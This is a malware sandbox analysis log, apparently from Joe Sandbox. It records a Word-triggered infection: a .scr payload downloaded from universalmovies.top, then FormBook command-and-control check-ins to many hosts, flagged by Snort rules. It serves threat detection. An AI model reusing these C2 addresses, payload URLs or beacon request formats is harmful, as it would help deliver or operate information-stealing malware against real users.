Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 66.96.161.166:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 66.96.161.166:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.96.161.166:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 66.96.161.166:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 66.96.161.166:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49164 -> 66.96.161.166:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49169 -> 94.23.162.163:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49173 -> 194.9.94.86:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49177 -> 91.195.240.19:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49181 -> 198.12.241.35:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49185 -> 183.111.183.31:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49189 -> 67.223.117.189:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49193 -> 154.41.250.58:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49197 -> 183.111.183.31:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49201 -> 208.91.197.13:80

Performs DNS queries to domains with low reputation

Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	DNS query: www.99b6q.xyz

Source: Joe Sandbox View	IP Address: 194.9.94.86 194.9.94.86
Source: Joe Sandbox View	IP Address: 45.33.6.223 45.33.6.223

Source: Joe Sandbox View	ASN Name: LOOPIASE LOOPIASE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7BC00D90-3286-43A4-8263-7BB80B0A8239}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /opp.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: universalmovies.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.terelprime.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2019/sqlite-dll-win32-x86-3290000.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.kinkynerdspro.blogUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.xn--matfrmn-jxa4m.seUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.primeplay88.orgUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
